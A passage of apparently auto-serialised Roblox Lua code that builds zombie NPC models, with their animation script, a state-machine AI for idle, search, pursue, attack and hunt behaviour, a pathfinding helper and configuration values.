humanoid; get AnimationTrack toolAnimTrack = humanoid:LoadAnimation(anim) -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end ------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- function onRunning(speed) if speed>0.01 then playAnimation("walk", 0.1, Humanoid) pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then stopAllAnimations() moveSit() return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then -- print("Wha " .. pose) amplitude = 0.1 frequency = 1 setAngles = true end if (setAngles) then desiredAngle = amplitude * math.sin(time * frequency) RightShoulder:SetDesiredAngle(desiredAngle + climbFudge) LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) end -- Tool Animation handling local tool = getTool() if tool then animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimTime = 0 end end -- connect events Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Jumping:connect(onJumping) Humanoid.Climbing:connect(onClimbing) Humanoid.GettingUp:connect(onGettingUp) Humanoid.FreeFalling:connect(onFreeFall) Humanoid.FallingDown:connect(onFallingDown) Humanoid.Seated:connect(onSeated) Humanoid.PlatformStanding:connect(onPlatformStanding) Humanoid.Swimming:connect(onSwimming) -- main program local runService = game:service("RunService"); -- initialize to idle playAnimation("idle", 0.1, Humanoid) pose = "Standing" while Figure.Parent~=nil do local _, time = wait(0.1) move(time) end end)) StringValue143.Name = "climb" StringValue143.Parent = Script142 Animation144.Name = "ClimbAnim" Animation144.Parent = StringValue143 Animation144.AnimationId = "http://www.roblox.com/asset/?id=125750800" StringValue145.Name = "fall" StringValue145.Parent = Script142 Animation146.Name = "FallAnim" Animation146.Parent = StringValue145 Animation146.AnimationId = "http://www.roblox.com/asset/?id=125750759" StringValue147.Name = "idle" StringValue147.Parent = Script142 Animation148.Name = "Animation1" Animation148.Parent = StringValue147 Animation148.AnimationId = "http://www.roblox.com/asset/?id=125750544" NumberValue149.Name = "Weight" NumberValue149.Parent = Animation148 NumberValue149.Value = 9 Animation150.Name = "Animation2" Animation150.Parent = StringValue147 Animation150.AnimationId = "http://www.roblox.com/asset/?id=125750618" NumberValue151.Name = "Weight" NumberValue151.Parent = Animation150 NumberValue151.Value = 1 StringValue152.Name = "jump" StringValue152.Parent = Script142 Animation153.Name = "JumpAnim" Animation153.Parent = StringValue152 Animation153.AnimationId = "http://www.roblox.com/asset/?id=125750702" StringValue154.Name = "run" StringValue154.Parent = Script142 Animation155.Name = "RunAnim" Animation155.Parent = StringValue154 Animation155.AnimationId = "http://www.roblox.com/asset/?id=125749145" StringValue156.Name = "toolnone" StringValue156.Parent = Script142 Animation157.Name = "ToolNoneAnim" Animation157.Parent = StringValue156 Animation157.AnimationId = "http://www.roblox.com/asset/?id=125750867" StringValue158.Name = "walk" StringValue158.Parent = Script142 Animation159.Name = "WalkAnim" Animation159.Parent = StringValue158 Animation159.AnimationId = "http://www.roblox.com/asset/?id=125749145" Script160.Parent = Model124 table.insert(cors,sandbox(Script160,function() local zombie = script.Parent for _, script in pairs(zombie.ModuleScripts:GetChildren()) do if not game.ServerStorage:FindFirstChild(script.Name) then script:Clone().Parent = game.ServerStorage end end local AI = require(game.ServerStorage.ROBLOX_ZombieAI).new(zombie) local DestroyService = require(game.ServerStorage.ROBLOX_DestroyService) local function clearParts(parent) for _, part in pairs(parent:GetChildren()) do clearParts(part) end local delay if parent:IsA("Part") then delay = math.random(5,10) else delay = 11 end DestroyService:AddItem(parent, delay) end zombie.Humanoid.Died:connect(function() AI.Stop() math.randomseed(tick()) clearParts(zombie) script.Disabled = true end) local lastMoan = os.time() math.randomseed(os.time()) while true do local animationTrack = zombie.Humanoid:LoadAnimation(zombie.Animations.Arms) animationTrack:Play() -- local now = os.time() -- if now - lastMoan > 5 then -- if math.random() > .3 then -- zombie.Moan:Play() ---- print("playing moan") -- lastMoan = now -- end -- end wait(2) end end)) BillboardGui161.Parent = Model124 BillboardGui161.Size = UDim2.new(0, 100, 0, 30) BillboardGui161.StudsOffset = Vector3.new(0, 5, 0) TextLabel162.Parent = BillboardGui161 TextLabel162.Visible = false TextLabel162.Size = UDim2.new(1, 0, 1, 0) TextLabel162.BackgroundColor = BrickColor.new("Institutional white") TextLabel162.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel162.Font = Enum.Font.SourceSansBold TextLabel162.FontSize = Enum.FontSize.Size24 TextLabel162.Text = "Idle" TextLabel162.TextSize = 24 Configuration163.Name = "ModuleScripts" Configuration163.Parent = Model124 ModuleScript164.Name = "ROBLOX_AIUtilities" ModuleScript164.Parent = Configuration163 table.insert(cors,sandbox(ModuleScript164,function() local utility = {} function utility:WideRayCast(start, target, offset, ignoreList) local parts = {} local ray = Ray.new(start, target - start) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end local offsetVector = offset * (target - start):Cross(Vector3.FromNormalId(Enum.NormalId.Top)).unit local ray = Ray.new(start + offsetVector, target - start + offsetVector) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end local ray = Ray.new(start - offsetVector, target - start - offsetVector) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end return parts end function utility:FindNearestPathPoint(path, point, start, target, ignoreList) local occludePoint = path:CheckOcclusionAsync(point) if occludePoint > 0 then utility:WideRayCast(start) end end local maxForce = 15 function utility:GetRepulsionVector(unitPosition, otherUnitsPositions) local repulsionVector = Vector3.new(0,0,0) local count = 0 for _, other in pairs(otherUnitsPositions) do local fromOther = unitPosition - other --fromOther = fromOther.unit * ((-maxForce / 5) * math.pow(fromOther.magnitude,2) + maxForce) fromOther = fromOther.unit * 1000 / math.pow((fromOther.magnitude + 1), 2) repulsionVector = repulsionVector + fromOther end return repulsionVector * maxForce end function utility:GetIdleState(StateMachine) local IdleState = StateMachine.NewState() IdleState.Name = "Idle" IdleState.Action = function() end IdleState.Init = function() end return IdleState end function utility:GetClosestVisibleTarget(npcModel, characters, ignoreList, fieldOfView) local closestTarget = nil local closestDistance = math.huge for _, character in pairs(characters) do local toTarget = character.HumanoidRootPart.Position - npcModel.HumanoidRootPart.Position local toTargetWedge = toTarget * Vector3.new(1,0,1) local angle = math.acos(toTargetWedge:Dot(npcModel.HumanoidRootPart.CFrame.lookVector)/toTargetWedge.magnitude) if math.deg(angle) < fieldOfView then local targetRay = Ray.new(npcModel.HumanoidRootPart.Position, toTarget) local part, position = game.Workspace:FindPartOnRayWithIgnoreList(targetRay, ignoreList) if part and part.Parent == character then if toTarget.magnitude < closestDistance then closestTarget = character closestDistance = toTarget.magnitude end end end end return closestTarget end local function isSpaceEmpty(position) local region = Region3.new(position - Vector3.new(2,2,2), position + Vector3.new(2,2,2)) return game.Workspace:IsRegion3Empty(region) end function utility:FindCloseEmptySpace(model) local targetPos = Vector3.new(0,0,0) local count = 0 math.randomseed(os.time()) repeat local xoff = math.random(5,10) if math.random() > .5 then xoff = xoff * -1 end local zoff = math.random(5, 10) if math.random() > .5 then zoff = zoff * -1 end targetPos = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) if isSpaceEmpty(targetPos) then return targetPos else targetPos = targetPos + Vector3.new(0,4,0) end if isSpaceEmpty(targetPos) then return targetPos end count = count + 1 until count > 10 return nil end return utility end)) ModuleScript165.Name = "ROBLOX_DestroyService" ModuleScript165.Parent = Configuration163 table.insert(cors,sandbox(ModuleScript165,function() local destroyService = {} local destroyQueue = {} function destroyService:AddItem(theobject, delay) local now = os.time() local destroyObject = {object = theobject, destroyTime = delay + now} for i, storedObject in pairs(destroyQueue) do if destroyQueue[i].destroyTime > destroyObject.destroyTime then table.insert(destroyQueue, i, destroyObject) return true end end table.insert(destroyQueue, destroyObject) return true end local updateThread = coroutine.create(function() while true do local now = os.time() for _, storedObject in pairs(destroyQueue) do if now >= storedObject.destroyTime then table.remove(destroyQueue, 1) if storedObject.object then storedObject.object:Destroy() end elseif now >= storedObject.destroyTime - 1 then if storedObject.object and storedObject.object:IsA("Part") then local trans = storedObject.object.Transparency + 1/30 storedObject.object.Transparency = trans end else break end end wait() end end) coroutine.resume(updateThread) return destroyService end)) ModuleScript166.Name = "ROBLOX_HumanoidList" ModuleScript166.Parent = Configuration163 table.insert(cors,sandbox(ModuleScript166,function() local humanoidList = {} local storage = {} function humanoidList:GetCurrent() return storage end local function findHumanoids(object, list) if object then if object:IsA("Humanoid") then table.insert(list, object) end for _, child in pairs(object:GetChildren()) do local childList = findHumanoids(child, list) end end end local updateThread = coroutine.create(function() while true do storage = {} findHumanoids(game.Workspace, storage) wait(3) end end) coroutine.resume(updateThread) return humanoidList end)) ModuleScript167.Name = "ROBLOX_StateMachine" ModuleScript167.Parent = Configuration163 table.insert(cors,sandbox(ModuleScript167,function() local machine = {} machine.new = function() local StateMachine = {} StateMachine.WaitTime = .2 StateMachine.CurrentState = nil StateMachine.SwitchState = function(newState) if StateMachine.CurrentState then StateMachine.CurrentState.Stop() end StateMachine.CurrentState = newState if newState then newState.Start() end end StateMachine.NewState = function() local state = {} state.Name = "" state.Conditions = {} state.isRunning = false state.Action = function() end state.Run = function() state.isRunning = true while state.isRunning do --check conditions --print("checking conditions") for _, condition in pairs(state.Conditions) do --print("Checking " .. condition.Name) if condition.Evaluate() then --print(condition.Name .. " is true. Switching states") StateMachine.SwitchState(condition.TransitionState) return end end --if no conditions satisfied, perform action state.Action() wait(StateMachine.WaitTime) end end state.Init = function() end state.Start = function() --print("Starting " .. state.Name) state.Init() local thread = coroutine.create(state.Run) coroutine.resume(thread) end state.Stop = function() --print("Stopping " .. state.Name) state.isRunning = false end return state end StateMachine.NewCondition = function() local condition = {} condition.Name = "" condition.Evaluate = function() print("replace me") return false end condition.TransitionState = {} return condition end return StateMachine end return machine end)) ModuleScript168.Name = "ROBLOX_ZombieAI" ModuleScript168.Parent = Configuration163 table.insert(cors,sandbox(ModuleScript168,function() --local PathLib = require(game.ServerStorage.PathfindingLibrary).new() local HumanoidList = require(game.ServerStorage.ROBLOX_HumanoidList) local AIUtilities = require(game.ServerStorage.ROBLOX_AIUtilities) local ZombieAI = {} function updateDisplay(display, state) local thread = coroutine.create(function() while true do wait() if state then display.Text = state.Name end end end) coroutine.resume(thread) end ZombieAI.new = function(model) local zombie = {} -- CONFIGURATION VARIABLES -- local AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration, -- Damage, DamageCooldown local configTable = model.Configurations local configs = {} local function loadConfig(configName, defaultValue) if configTable:FindFirstChild(configName) then configs[configName] = configTable:FindFirstChild(configName).Value else configs[configName] = defaultValue end end loadConfig("AttackRange", 3) loadConfig("FieldOfView", 180) loadConfig("AggroRange", 200) loadConfig("ChanceOfBoredom", .5) loadConfig("BoredomDuration", 10) loadConfig("Damage", 10) loadConfig("DamageCooldown", 1) local StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new() local PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new() local ZombieTarget = nil local ZombieTargetLastLocation = nil local lastBored = os.time() -- STATE DEFINITIONS -- IdleState: NPC stays still. Refreshes bored timer when started to -- allow for random state change local IdleState = StateMachine.NewState() IdleState.Name = "Idle" IdleState.Action = function() end IdleState.Init = function() lastBored = os.time() end -- SearchState: NPC wanders randomly increasing chance of spotting -- enemy. Refreshed bored timer when started to allow for random state -- change local SearchState = StateMachine.NewState() SearchState.Name = "Search" local lastmoved = os.time() local searchTarget = nil SearchState.Action = function() -- move to random spot nearby if model then local now = os.time() if now - lastmoved > 2 then lastmoved = now local xoff = math.random(5, 10) if math.random() > .5 then xoff = xoff * -1 end local zoff = math.random(5, 10) if math.random() > .5 then zoff = zoff * -1 end local testtarg = AIUtilities:FindCloseEmptySpace(model) --if testtarg then print(testtarg) else print("could not find") end searchTarget = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) --local target = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) --model.Humanoid:MoveTo(target) searchTarget = testtarg end if searchTarget then PathLib:MoveToTarget(model, searchTarget) end end end SearchState.Init = function() lastBored = os.time() end -- PursueState: Enemy has been spotted, need to give chase. local PursueState = StateMachine.NewState() PursueState.Name = "Pursue" PursueState.Action = function() -- Double check we still have target if ZombieTarget then -- Get distance to target local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude -- If we're far from target use pathfinding to move. Otherwise just MoveTo if distance > configs["AttackRange"] + 5 then PathLib:MoveToTarget(model, ZombieTarget.HumanoidRootPart.Position) else model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position) -- if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then -- model.Humanoid.Jump = true -- end end end end PursueState.Init = function() end -- AttackState: Keep moving towards target and play attack animation. local AttackState = StateMachine.NewState() AttackState.Name = "Attack" local lastAttack = os.time() local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack) AttackState.Action = function() model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position) local now = os.time() if now - lastAttack > 3 then lastAttack = now attackTrack:Play() end end -- HuntState: Can't see target but NPC will move to target's last known location. -- Will eventually get bored and switch state. local HuntState = StateMachine.NewState() HuntState.Name = "Hunt" HuntState.Action = function() if ZombieTargetLastLocation then PathLib:MoveToTarget(model, ZombieTargetLastLocation) end end HuntState.Init = function() lastBored = os.time() + configs["BoredomDuration"] / 2 end -- CONDITION DEFINITIONS -- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and -- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed -- greater than 0 (this is to ignore inanimate objects that happen to use humanoids) local CanSeeTarget = StateMachine.NewCondition() CanSeeTarget.Name = "CanSeeTarget" CanSeeTarget.Evaluate = function() if model then -- Get list of all nearby Zombies and non-Zombie humanoids -- Zombie list is used to ignore zombies during later raycast local humanoids = HumanoidList:GetCurrent() local zombies = {} local characters = {} for _, object in pairs(humanoids) do if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then local torso = object.Parent:FindFirstChild("HumanoidRootPart") if torso then local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude if distance <= configs["AggroRange"] then if object.Parent.Name == "Drooling Zombie" then table.insert(zombies, object.Parent) else table.insert(characters, object.Parent) end end end end end local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"]) if target then ZombieTarget = target return true end -- -- Go through each valid target to see if within field of view and if there is -- -- clear line of sight. Field of view treated as wedge in front of character. -- for _, character in pairs(characters) do -- local toTarget = (character.HumanoidRootPart.Position - model.HumanoidRootPart.Position) -- toTarget = Vector3.new(toTarget.X, 0, toTarget.Z) -- local angle = math.acos(toTarget:Dot(model.HumanoidRootPart.CFrame.lookVector)/toTarget.magnitude) -- if math.deg(angle) < configs["FieldOfView"]/2 then -- ZombieTarget = character -- -- raycast to see if target is actually visible -- local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position)) -- local part, position = game.Workspace:FindPartOnRayWithIgnoreList(toTarget, zombies) -- if part and part.Parent == ZombieTarget then -- return true -- end -- ZombieTarget = nil -- end -- end end return false end CanSeeTarget.TransitionState = PursueState -- TargetDead: Check if target is dead. local TargetDead = StateMachine.NewCondition() TargetDead.Name = "TargetDead" TargetDead.Evaluate = function() if ZombieTarget and ZombieTarget.Humanoid then return ZombieTarget.Humanoid.Health <= 0 end return true end TargetDead.TransitionState = IdleState -- GotDamaged: Check if NPC has taken damage local lastHealth = model.Humanoid.Health local GotDamaged = StateMachine.NewCondition() GotDamaged.Name = "GotDamaged" GotDamaged.Evaluate = function() if model then if lastHealth > model.Humanoid.Health then return true end end return false end GotDamaged.TransitionState = SearchState -- GotBored: Used to provide random state change. local GotBored = StateMachine.NewCondition() GotBored.Name = "GotBored" GotBored.Evaluate = function() local now = os.time() if now - lastBored > configs["BoredomDuration"] then local roll = math.random() if roll < configs["ChanceOfBoredom"] then lastBored = now if GotBored.TransitionState == SearchState then GotBored.TransitionState = IdleState else GotBored.TransitionState = SearchState end return true end end return false end GotBored.TransitionState = IdleState -- LostTarget: Checks clear line of sight local LostTarget = StateMachine.NewCondition() LostTarget.Name = "LostTarget" LostTarget.Evaluate = function() if true then return false end if ZombieTarget then if (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position).magnitude > 10 then local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position)) local part, position = game.Workspace:FindPartOnRay(toTarget, model) if not part or part.Parent ~= ZombieTarget then --print("Lost target!") ZombieTargetLastLocation = ZombieTarget.HumanoidRootPart.Position ZombieTarget = nil return true end end end return false end LostTarget.TransitionState = HuntState local WithinRange = StateMachine.NewCondition() WithinRange.Name = "WithinRange" WithinRange.Evaluate = function() if ZombieTarget then local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude if distance < configs["AttackRange"] then --print("Within attack range!") return true end end return false end WithinRange.TransitionState = AttackState local OutsideRange = StateMachine.NewCondition() OutsideRange.Name = "OutsideRange" OutsideRange.Evaluate = function() if ZombieTarget then local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude if distance > configs["AttackRange"] then --print("Outside attack range!") return true end end return false end OutsideRange.TransitionState = PursueState table.insert(IdleState.Conditions, CanSeeTarget) table.insert(IdleState.Conditions, GotDamaged) table.insert(IdleState.Conditions, GotBored) table.insert(SearchState.Conditions, GotBored) table.insert(SearchState.Conditions, CanSeeTarget) table.insert(PursueState.Conditions, LostTarget) table.insert(PursueState.Conditions, WithinRange) table.insert(PursueState.Conditions, TargetDead) table.insert(AttackState.Conditions, OutsideRange) table.insert(AttackState.Conditions, TargetDead) table.insert(HuntState.Conditions, GotBored) table.insert(HuntState.Conditions, CanSeeTarget) -- Setup arms damage local canHit = true local lastHit = os.time() local function handleHit(other) if canHit then if other and other.Parent and other.Parent.Name ~= "Drooling Zombie" and other.Parent:FindFirstChild("Humanoid") then local enemy = other.Parent if enemy.Humanoid.WalkSpeed > 0 then enemy.Humanoid.Health = enemy.Humanoid.Health - configs["Damage"] canHit = false end end else local now = os.time() if now - lastHit > configs["DamageCooldown"] then lastHit = now canHit = true end end end local leftHitConnect, rightHitConnect leftHitConnect = model:FindFirstChild("Left Arm").Touched:connect(handleHit) rightHitConnect = model:FindFirstChild("Right Arm").Touched:connect(handleHit) --ZombieAI.Animate(model) --updateDisplay() --updateDisplay(model.BillboardGui.TextLabel, StateMachine.CurrentState) local thread = coroutine.create(function() while true do wait() -- calculate repulsion force local humanoids = HumanoidList:GetCurrent() local localZombies = {} for _, humanoid in pairs(humanoids) do if humanoid and humanoid ~= model.Humanoid and humanoid.Parent and humanoid.Parent:FindFirstChild("HumanoidRootPart") then local torso = humanoid.Parent:FindFirstChild("HumanoidRootPart") local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude if distance <= 2.5 then table.insert(localZombies, torso.Position) end end end local repulsionDirection = AIUtilities:GetRepulsionVector(model.HumanoidRootPart.Position, localZombies) if repulsionDirection.magnitude > 0 then --print("replusion direction: " .. tostring(repulsionDirection)) end model.HumanoidRootPart.RepulsionForce.force = repulsionDirection if StateMachine.CurrentState and model.Configurations.Debug.Value then model.BillboardGui.TextLabel.Visible = true model.BillboardGui.TextLabel.Text = StateMachine.CurrentState.Name end if not model.Configurations.Debug.Value then model.BillboardGui.TextLabel.Visible = false end end end) coroutine.resume(thread) StateMachine.SwitchState(IdleState) zombie.Stop = function() StateMachine.SwitchState(nil) end return zombie end return ZombieAI end)) ModuleScript169.Name = "ROBLOX_PathfindingLibrary" ModuleScript169.Parent = Configuration163 table.insert(cors,sandbox(ModuleScript169,function() local PathfindingUtility = {} local TargetOffsetMax = 10--5 local JumpThreshold = 1.5 --2.5 local NextPointThreshold = 4 local PathfindingService = game:GetService("PathfindingService") PathfindingService.EmptyCutoff = .3 function PathfindingUtility.new() local this = {} local currentTargetPos = nil local lastTargetPos = Vector3.new(math.huge, math.huge, math.huge) local path = nil local currentPointIndex = 1 function this:MoveToTarget(character, target) local targetOffset = (lastTargetPos - target).magnitude -- -- local targetOffsetVector = (lastTargetPos - target) -- if targetOffsetVector.magnitude < math.huge then -- targetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1) -- end if targetOffset > TargetOffsetMax then --if targetOffsetVector.magnitude > TargetOffsetMax then --print("moveto") local startPoint = character.HumanoidRootPart.Position local humanoidState = character.Humanoid:GetState() if humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then --print("this") local ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0)) local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character) if hitPart then startPoint = hitPoint end end --print("making new path") local newTarget = target local ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0)) local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character) if hitPoint then if (hitPoint - target).magnitude > 4 then newTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0) end end --local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0) path = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500) if path.Status ~= Enum.PathStatus.Success then --print(tostring(path.Status)) end --path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500) -- game.Workspace.Points:ClearAllChildren() -- local ps = path:GetPointCoordinates() -- for _, point in pairs(ps) do -- local part = Instance.new("Part", game.Workspace.Points) -- part.CanCollide = false -- part.Anchored = true -- part.FormFactor = Enum.FormFactor.Custom -- part.Size = Vector3.new(1,1,1) -- part.Position = point -- end currentPointIndex = 1 lastTargetPos = target end if path then local points = path:GetPointCoordinates() if currentPointIndex < #points then local currentPoint = points[currentPointIndex] local distance = (character.HumanoidRootPart.Position - currentPoint).magnitude if distance < NextPointThreshold then currentPointIndex = currentPointIndex + 1 end character.Humanoid:MoveTo(points[currentPointIndex]) if points[currentPointIndex].Y - character.HumanoidRootPart.Position.Y > JumpThreshold then character.Humanoid.Jump = true end else character.Humanoid:MoveTo(target) end end end return this end return PathfindingUtility end)) Configuration170.Name = "Configurations" Configuration170.Parent = Model124 IntValue171.Name = "Damage" IntValue171.Parent = Configuration170 IntValue171.Value = 30 BoolValue172.Name = "Debug" BoolValue172.Parent = Configuration170 IntValue173.Name = "FieldOfView" IntValue173.Parent = Configuration170 IntValue173.Value = 180 IntValue174.Name = "AggroRange" IntValue174.Parent = Configuration170 IntValue174.Value = 200 Configuration175.Name = "Animations" Configuration175.Parent = Model124 Animation176.Name = "Attack" Animation176.Parent = Configuration175 Animation176.AnimationId = "http://www.roblox.com/asset/?id=180416148" Animation177.Name = "Arms" Animation177.Parent = Configuration175 Animation177.AnimationId = "http://www.roblox.com/asset/?id=183294396" CharacterMesh178.Name = "Zombie Left Arm" CharacterMesh178.Parent = Model124 CharacterMesh178.BodyPart = Enum.BodyPart.LeftArm CharacterMesh178.MeshId = 37683097 CharacterMesh178.OverlayTextureId = 37686282 CharacterMesh179.Name = "Zombie Left Leg" CharacterMesh179.Parent = Model124 CharacterMesh179.BodyPart = Enum.BodyPart.LeftLeg CharacterMesh179.MeshId = 37683150 CharacterMesh179.OverlayTextureId = 37687646 CharacterMesh180.Name = "Zombie Right Arm" CharacterMesh180.Parent = Model124 CharacterMesh180.BodyPart = Enum.BodyPart.RightArm CharacterMesh180.MeshId = 37683174 CharacterMesh180.OverlayTextureId = 37686282 CharacterMesh181.Name = "Zombie Right Leg" CharacterMesh181.Parent = Model124 CharacterMesh181.BodyPart = Enum.BodyPart.RightLeg CharacterMesh181.MeshId = 37683227 CharacterMesh181.OverlayTextureId = 37687646 CharacterMesh182.Name = "Zombie torso" CharacterMesh182.Parent = Model124 CharacterMesh182.BodyPart = Enum.BodyPart.Torso CharacterMesh182.MeshId = 37683263 CharacterMesh182.OverlayTextureId = 37686282 Sound183.Name = "Moan" Sound183.Parent = Model124 Sound183.Pitch = 0.15000000596046 Sound183.PlaybackSpeed = 0.15000000596046 Sound183.Volume = 0.050000000745058 BodyColors184.Parent = Model124 BodyColors184.HeadColor = BrickColor.new("Camo") BodyColors184.HeadColor3 = Color3.new(0.227451, 0.490196, 0.0823529) BodyColors184.LeftArmColor = BrickColor.new("Earth green") BodyColors184.LeftArmColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors184.LeftLegColor = BrickColor.new("Earth green") BodyColors184.LeftLegColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors184.RightArmColor = BrickColor.new("Earth green") BodyColors184.RightArmColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors184.RightLegColor = BrickColor.new("Earth green") BodyColors184.RightLegColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors184.TorsoColor = BrickColor.new("Earth green") BodyColors184.TorsoColor3 = Color3.new(0.152941, 0.27451, 0.176471) Model185.Name = "Drooling Zombie" Model185.Parent = Model1 Part186.Name = "HumanoidRootPart" Part186.Parent = Model185 Part186.CFrame = CFrame.new(152.5, 2.99998856, -83, 0, 0, -1, 5.77777606e-34, 0.999996424, 0, 1, 5.77777606e-34, 0) Part186.Orientation = Vector3.new(0, -90, 0) Part186.Position = Vector3.new(152.5, 2.99998856, -83) Part186.Rotation = Vector3.new(0, -90, 0) Part186.Color = Color3.new(0.152941, 0.27451, 0.176471) Part186.Transparency = 1 Part186.Size = Vector3.new(2, 2, 1) Part186.BottomSurface = Enum.SurfaceType.Smooth Part186.BrickColor = BrickColor.new("Earth green") Part186.Material = Enum.Material.WoodPlanks Part186.TopSurface = Enum.SurfaceType.Smooth Part186.brickColor = BrickColor.new("Earth green") Part186.FormFactor = Enum.FormFactor.Symmetric Part186.formFactor = Enum.FormFactor.Symmetric Motor6D187.Name = "Root Hip" Motor6D187.Parent = Part186 Motor6D187.MaxVelocity = 0.10000000149012 Motor6D187.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D187.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D187.Part0 = Part186 Motor6D187.Part1 = Part189 Motor6D187.part1 = Part189 BodyForce188.Name = "RepulsionForce" BodyForce188.Parent = Part186 BodyForce188.Force = Vector3.new(0, 0, 0) BodyForce188.force = Vector3.new(0, 0, 0) Part189.Name = "Torso" Part189.Parent = Model185 Part189.CFrame = CFrame.new(152.5, 2.99998856, -83, 0, 0, -1, 5.77777606e-34, 0.999996424, 0, 1, 5.77777606e-34, 0) Part189.Orientation = Vector3.new(0, -90, 0) Part189.Position = Vector3.new(152.5, 2.99998856, -83) Part189.Rotation = Vector3.new(0, -90, 0) Part189.Color = Color3.new(0.156863, 0.498039, 0.278431) Part189.Size = Vector3.new(2, 2, 1) Part189.BottomSurface = 